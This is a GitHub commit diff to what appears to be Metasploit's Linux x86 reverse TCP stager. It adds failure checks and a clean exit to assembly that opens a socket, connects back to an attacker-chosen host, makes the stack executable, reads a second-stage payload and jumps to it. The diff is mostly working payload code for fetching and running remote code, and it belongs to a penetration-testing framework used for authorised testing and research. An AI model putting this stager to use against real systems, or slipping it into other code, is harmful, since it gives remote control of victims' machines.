File tree Expand file tree Collapse file tree 3 files changed +53
-42
lines changed
lib/msf/core/payload/linux
modules/payloads/stagers/linux/x86 Expand file tree Collapse file tree 3 files changed +53
-42
lines changed Original file line number Diff line number Diff line change @@ -91,49 +91,61 @@ def asm_reverse_tcp(opts={})
91
91
encoded_host = "0x%.8x" % Rex ::Socket . addr_aton ( opts [ :host ] ||"127.127.127.127" ) . unpack ( "V" ) . first
92
92
93
93
asm = %Q^
94
- xor ebx, ebx
95
- mul ebx
96
- push ebx
97
- inc ebx
98
- push ebx
99
- push 0x2
100
- mov al, 0x66
101
- mov ecx, esp
102
- int 0x80 ; sys_socketcall (socket())
103
-
104
- xchg eax, edi ; store the socket in edi
105
- pop ebx ; set ebx back to zero
106
- push #{ encoded_host }
107
- push #{ encoded_port }
108
- mov ecx, esp
109
- push 0x66
110
- pop eax
111
- push eax
112
- push ecx
113
- push edi
114
- mov ecx, esp
115
- inc ebx
116
- int 0x80 ; sys_socketcall (connect())
94
+ xor ebx, ebx
95
+ mul ebx
96
+ push ebx
97
+ inc ebx
98
+ push ebx
99
+ push 0x2
100
+ mov al, 0x66
101
+ mov ecx, esp
102
+ int 0x80 ; sys_socketcall (socket())
103
+ test eax, eax
104
+ js failed
105
+
106
+ xchg eax, edi ; store the socket in edi
107
+ pop ebx ; set ebx back to zero
108
+ push #{ encoded_host }
109
+ push #{ encoded_port }
110
+ mov ecx, esp
111
+ push 0x66
112
+ pop eax
113
+ push eax
114
+ push ecx
115
+ push edi
116
+ mov ecx, esp
117
+ inc ebx
118
+ int 0x80 ; sys_socketcall (connect())
119
+ test eax, eax
120
+ js failed
117
121
^
118
122
119
123
asm << asm_send_uuid if include_send_uuid
120
124
121
125
asm << %Q^
122
- mov dl, 0x7
123
- mov ecx, 0x1000
124
- mov ebx, esp
125
- shr ebx, 0xc
126
- shl ebx, 0xc
127
- mov al, 0x7d
128
- int 0x80 ; sys_mprotect
129
-
130
- pop ebx
131
- mov ecx, esp
132
- cdq
133
- mov dh, 0xc
134
- mov al, 0x3
135
- int 0x80 ; sys_read (recv())
136
- jmp ecx
126
+ mov dl, 0x7
127
+ mov ecx, 0x1000
128
+ mov ebx, esp
129
+ shr ebx, 0xc
130
+ shl ebx, 0xc
131
+ mov al, 0x7d
132
+ int 0x80 ; sys_mprotect
133
+ test eax, eax
134
+ js failed
135
+
136
+ pop ebx
137
+ mov ecx, esp
138
+ cdq
139
+ mov dh, 0xc
140
+ mov al, 0x3
141
+ int 0x80 ; sys_read (recv())
142
+ test eax, eax
143
+ js failed
144
+ jmp ecx
145
+ failed:
146
+ mov eax, 0x1
147
+ mov ebx, 0x1 ; set exit status to 1
148
+ int 0x80 ; sys_exit
137
149
^
138
150
139
151
asm
@@ -142,4 +154,3 @@ def asm_reverse_tcp(opts={})
142
154
end
143
155
144
156
end
145
-
Original file line number Diff line number Diff line change 9
9
10
10
module MetasploitModule
11
11
12
- CachedSize = 71
12
+ CachedSize = 99
13
13
14
14
include Msf ::Payload ::Stager
15
15
include Msf ::Payload ::Linux ::ReverseTcp
@@ -18,7 +18,7 @@ def initialize(info = {})
18
18
super ( merge_info ( info ,
19
19
'Name' => 'Reverse TCP Stager' ,
20
20
'Description' => 'Connect back to the attacker' ,
21
- 'Author' => [ 'skape' , 'egypt' ] ,
21
+ 'Author' => [ 'skape' , 'egypt' , 'tkmru' ] ,
22
22
'License' => MSF_LICENSE ,
23
23
'Platform' => 'linux' ,
24
24
'Arch' => ARCH_X86 ,
Original file line number Diff line number Diff line change 9
9
10
10
module MetasploitModule
11
11
12
- CachedSize = 114
12
+ CachedSize = 142
13
13
14
14
include Msf ::Payload ::Stager
15
15
include Msf ::Payload ::Linux ::ReverseTcp
You can’t perform that action at this time.
0 commit comments